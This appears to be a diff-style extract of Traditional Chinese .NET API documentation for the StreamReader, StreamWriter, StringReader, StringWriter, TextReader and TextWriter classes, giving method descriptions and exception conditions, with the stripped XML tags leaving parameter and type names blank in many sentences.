要讀取的字元數上限。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負值。 + 發生 I/O 錯誤，例如資料流已經關閉。 + 1 + + + 從目前的資料流非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 當這個方法傳回時，會包含指定的字元陣列，而該字元陣列中具有介於 和 ( + - 1) 之間的值，會由從目前來源讀取而來的字元取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。如果指定的字元數寫入緩衝區之前，便到達資料流末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前資料流讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於是否已經讀取所有輸入字元。 + 當這個方法返回時，會包含具有介於 和 () 的值之指定字元陣列，這個值是由從目前來源讀取的字元所取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + + + 從目前的資料流非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 當這個方法傳回時，會包含指定的字元陣列，而該字元陣列中具有介於 和 ( + - 1) 之間的值，會由從目前來源讀取而來的字元取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。如果指定的字元數寫入緩衝區之前，便到達資料流末端，則方法會返回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 自目前資料流讀取一行字元，並將資料以字串傳回。 + 輸入資料流的下一行，或為 null (如果已到達輸入資料流末端)。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 發生 I/O 錯誤。 + 1 + + + 自目前資料流非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。 參數的值會包含資料流中的下一行，或者是 null (如果已經讀取所有字元)。 + 下一行中的字元數大於 。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到資料流末端的所有字元。 + 資料流從目前位置到末端的其餘字串。如果目前位置位於資料流末端，則傳回空字串 ("")。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 發生 I/O 錯誤。 + 1 + + + 非同步讀取從目前位置到資料流末端的所有字元，並將它們以字串傳回。 + 表示非同步讀取作業的工作。 參數的值會包含字串，該字串含有從目前位置到資料流結尾的字元。 + 字元數大於 。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 實作以特定的編碼方式將字元寫入位元組資料流的 。若要瀏覽此類型的.NET Framework 原始碼，請參閱參考來源。 + 1 + + + 使用 UTF-8 編碼方式和預設緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + + 不可寫入。 + + 為 null。 + + + 使用指定的編碼方式和預設緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + 要使用的字元編碼。 + + 或 是 null。 + + 不可寫入。 + + + 使用指定的編碼方式和緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + 要使用的字元編碼。 + 緩衝區大小，以位元組為單位。 + + 或 是 null。 + + 為負值。 + + 不可寫入。 + + + 使用指定的編碼方式和緩衝區大小，為指定的資料流初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 要寫入的資料流。 + 要使用的字元編碼。 + 緩衝區大小，以位元組為單位。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + + 或 是 null。 + + 為負值。 + + 不可寫入。 + + + 取得或設定值，指出 在每次呼叫 之後，是否要將其緩衝區清除到基礎資料流。 + 強制 清除其緩衝區，則為 true，否則為 false。 + 1 + + + 取得以備份存放區作介面的基礎資料流。 + StreamWriter 正在寫入的資料流。 + 2 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + 目前的編碼不支援顯示 Unicode Surrogate 字組的其中一半。 + + + 取得寫入輸出的 。 + + (在目前執行個體的建構函式中指定)；如果未指定編碼方式，則為 。 + 2 + + + 清除目前寫入器 (Writer) 的所有緩衝區，並且造成所有緩衝資料都寫入基礎資料流。 + 目前寫入器已關閉。 + 發生 I/O 錯誤。 + 目前的編碼不支援顯示 Unicode Surrogate 字組的其中一半。 + 1 + + + 以非同步的方式清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 表示非同步清除作業的工作。 + 已處置資料流。 + + + 提供 StreamWriter，但不包含可寫入但無法讀取的備份存放區。 + 1 + + + 將一個字元寫入資料流。 + 要寫入資料流的字元。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字元陣列寫入資料流。 + 含有要寫入之資料的字元陣列。如果 是 null，則不寫入任何資料。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字元子陣列寫入資料流。 + 含有要寫入之資料的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字串寫入資料流。 + 要寫入資料流的字串。如果 是 Null，則不會寫入任何資料。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將字元寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字元。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入資料流。 + 表示非同步寫入作業的工作。 + 含有要寫入之資料的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字串。如果 是 null，則不寫入任何資料。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 將行結束字元以非同步方式寫入資料流。 + 表示非同步寫入作業的工作。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字元。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (後面接著行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元 (Terminator)。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 實作讀取字串的 。 + 2 + + + 初始化 類別的新執行個體，這個執行個體會從指定的字串讀取。 + + 應該初始化的目的字串。 + + 參數為 null。 + + + 釋放 使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 傳回下一個可供使用的字元，但不使用它。 + 整數，表示要讀取的下一個字元，如果沒有更多字元可供使用或資料流不支援搜尋，則為 -1。 + 目前的讀取器已關閉。 + 2 + + + 自輸入字串讀取下一個字元，並將字元位置前移一個字元。 + 基礎字串的下一個字元；如果不再有字元可供使用，則為 -1。 + 目前的讀取器已關閉。 + 2 + + + 自輸入字串讀取字元區塊，並將字元位置前移 個字元。 + 讀入緩衝區的字元總數。如果目前無法提供那麼多的字元數，則這個數目可能小於所要求的字元數，或如果已經到達基礎字串的末端，則為零。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + 緩衝區中的起始索引。 + 要讀取的字元數。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負數。 + 目前的讀取器已關閉。 + 2 + + + 從目前的字串非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達字串末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的最大字元數。如果指定的字元數寫入緩衝區之前，便到達字串末端，則方法會返回。 + + 為 null。 + + 或 為負數。 + + 和 的總和大於緩衝區的長度。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前的字串非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達字串末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的最大字元數。如果指定的字元數寫入緩衝區之前，便到達字串末端，則方法會返回。 + + 為 null。 + + 或 為負數。 + + 和 的總和大於緩衝區的長度。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 自目前字串讀取一行字元，並將資料以字串傳回。 + 目前字串的下一行，如果已到達字串的結尾，則為 null。 + 目前的讀取器已關閉。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 2 + + + 自目前字串非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串讀取器中的下一行，或者是null（如果已經讀取所有字元）。 + 下一行中的字元數大於 。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到字串末端的所有字元，並將它們以單一字串傳回。 + 基礎字串從目前位置至結尾的內容。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 目前的讀取器已關閉。 + 2 + + + 非同步讀取從目前位置到字串末端的所有字元，並將它們以單一字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串，該字串含有從目前位置到字串結尾的字元。 + 字元數大於 。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 實作 以便將資訊寫入字串。資訊儲存在基礎 中。 + 2 + + + 初始化 類別的新執行個體。 + + + 使用指定的控制項格式，初始化 類別的新執行個體。 + 控制格式的 物件。 + + + 初始化 類別的新執行個體，這個執行個體可寫入至指定的 。 + 要寫入至其中的 StringBuilder。 + + 為 null。 + + + 初始化 類別的新執行個體，這個執行個體會寫入至指定的 ，並且具有指定的格式提供者。 + 要寫入至其中的 StringBuilder。 + 控制格式的 物件。 + + 為 null。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 取得寫入輸出的 。 + 寫入輸出的 Encoding。 + 1 + + + 以非同步的方式清除目前寫入器 (Writer) 的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 表示非同步清除作業的工作。 + + + 傳回基礎 。 + 基礎 StringBuilder。 + 2 + + + 傳回字串，包含被寫入至目前 StringWriter 的字元。 + 字串，包含被寫入至目前 StringWriter 的字元。 + 2 + + + 將一個字元寫入至字串。 + 要寫入的字元。 + 寫入器關閉。 + 2 + + + 將字元子陣列寫入至字串。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 或 為負數。 + ( + )> 。Length. + 寫入器關閉。 + 2 + + + 將字串寫入至目前字串。 + 要寫入的字串。 + 寫入器關閉。 + 2 + + + 以非同步方式將字元寫入至字串。 + 表示非同步寫入作業的工作。 + 要寫入至字串的字元。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入至字串。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負數。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入至目前字串。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果 為 null，不寫入任何字串至文字資料流。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入到字串。 + 表示非同步寫入作業的工作。 + 要寫入至字串的字元。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到字串。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負數。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (後面接著行結束字元) 寫入至目前的字串。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元 (Terminator)。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 代表可以讀取一連串連續字元的讀取器 (Reader)。 + 2 + + + 初始化 類別的新執行個體。 + + + 釋放由 物件使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 提供未讀取資料的 TextReader。 + 1 + + + 讀取下一個字元，而不會變更讀取器或字元來源的狀態。傳回下一個可用字元，而不會實際從讀取器讀取。 + 整數，表示要讀取的下一個字元，如果沒有更多字元可供使用或讀取器不支援搜尋，則為 -1。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 自文字讀取器讀取下一個字元，並將字元位置前移一個字元。 + 文字讀取器的下一個字元；如果不再有字元可供使用，則為 -1。預設的實作會傳回 -1。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 從目前讀取器讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於資料是否在讀取器裡可供使用。如果不再有字元可供讀取時呼叫，這個方法傳回 0 (零)。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達讀取器末端，則方法會返回。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 從目前的文字讀取器非同步讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達文字末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達文字末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前的文字讀取器讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於是否已經讀取所有輸入字元。 + 當這個方法返回時，這個參數會包含具有介於 和 ( + -1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 2 + + + 從目前的文字讀取器非同步讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達文字末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達文字末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 自文字讀取器讀取一行字元，並將資料以字串傳回。 + 讀取器的下一行，或者如果所有字元都被讀取，則為 null。 + 發生 I/O 錯誤。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + + 已經關閉。 + 下一行中的字元數大於 。 + 1 + + + 非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含文字讀取器中的下一行，或者是null（如果已經讀取所有字元）。 + 下一行中的字元數大於 。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到文字讀取器末端的所有字元，並將它們以單一字串傳回。 + 字串，包含從目前位置到文字讀取器結尾的所有字元。 + 發生 I/O 錯誤。 + + 已經關閉。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 下一行中的字元數大於 。 + 1 + + + 非同步讀取從目前位置到文字讀取器末端的所有字元，並將它們以單一字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串，該字串含有從目前位置到文字讀取器結尾的字元。 + 字元數大於 。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 代表可以寫入一連串連續字元的寫入器。這個類別是抽象的。 + 2 + + + 初始化 類別的新執行個體。 + + + 使用指定的格式提供者，初始化 類別的新執行個體。 + 控制格式設定的 物件。 + + + 儲存這個 TextWriter 所使用的新行字元。 + + + 釋放由 物件使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 當在衍生類別中覆寫該屬性時，傳回用於寫入輸出的字元編碼。 + 寫入輸出時使用的字元編碼。 + 1 + + + 清除目前寫入器的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 1 + + + 以非同步的方式清除目前寫入器的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 表示非同步排清作業的工作。 + 文字寫入器已處置。 + 寫入器目前由先前寫入作業所使用。 + + + 取得控制格式設定的物件。 + 特定文化特性的 物件，或者目前文化特性的格式 (如果未指定其他文化特性)。 + 2 + + + 取得或設定目前 TextWriter 所使用的行結束字元字串。 + 目前 TextWriter 的行結束字元字串。 + 2 + + + 提供 TextWriter，但不包含可寫入但無法讀取的備份存放區。 + 1 + + + 將 Boolean 值的文字表示寫入到文字字串或資料流。 + 要寫入的 Boolean 值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元寫入到文字字串或資料流。 + 要寫入到文字資料流的字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元陣列寫入到文字字串或資料流。 + 要寫入到文字資料流的字元陣列。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元的子陣列寫入到文字字串或資料流。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + 緩衝區長度減去 小於 。 + + 參數為 null。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將十進位值的文字表示寫入到文字字串或資料流。 + 要寫入的十進位值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組浮點數值的文字表示寫入到文字字串或資料流。 + 要寫入的 8 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 4 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 8 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 呼叫該物件的 ToString 方法，將物件的文字表示寫入至文字字串或資料流。 + 要寫入的物件。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組浮點數值的文字表示寫入到文字字串或資料流。 + 要寫入的 4 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字串寫入到文字字串或資料流。 + 要寫入的字串。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 要格式化及寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是一個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零) 或大於或等於要格式化的物件數目 (就這個方法多載而言，是兩個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + 第三個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是三個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 物件陣列，包含零或多個要格式化和寫入的物件。 + + 或 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或者大於或等於 陣列的長度。 + 1 + + + 將 4 位元組不帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 4 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組不帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 8 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將字元寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元陣列寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元陣列。如果 是 null，則不寫入任何資料。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果 為 null，不寫入任何字串到文字資料流。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 將行結束字元寫入到文字字串或資料流。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 Boolean 值的文字表示，並加上行結束字元寫入到文字字串或資料流。 + 要寫入的 Boolean 值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 要寫入到文字資料流的字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 資料讀取來源的字元陣列。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 資料讀取來源的字元陣列。 + + 中開始讀取資料的字元位置。 + 要寫入的最大字元數。 + 緩衝區長度減去 小於 。 + + 參數為 null。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將十進位值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的十進位值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組浮點數值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的 8 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 4 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 8 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 透過呼叫該物件上的 ToString 方法，將該物件的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的物件。如果 為 null，只寫入行結束字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組浮點數值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的 4 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字串 (其後加上行結束字元) 寫入到文字字串或資料流。 + 要寫入的字串。如果 為 null，只寫入行結束字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 使用與 方法相同的語意，將格式化字串和新行寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 要格式化及寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是一個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串和新行寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是兩個)。 + 1 + + + 使用與 相同的語意，寫出格式化字串和新行。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + 第三個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是三個)。 + 1 + + + 使用與 相同的語意，寫出格式化字串和新行。 + 複合格式字串 (請參閱＜備註＞)。 + 物件陣列，包含零或多個要格式化和寫入的物件。 + 傳入的字串或物件為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或者大於或等於 陣列的長度。 + 1 + + + 將 4 位元組不帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 4 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組不帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 8 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將行結束字元寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 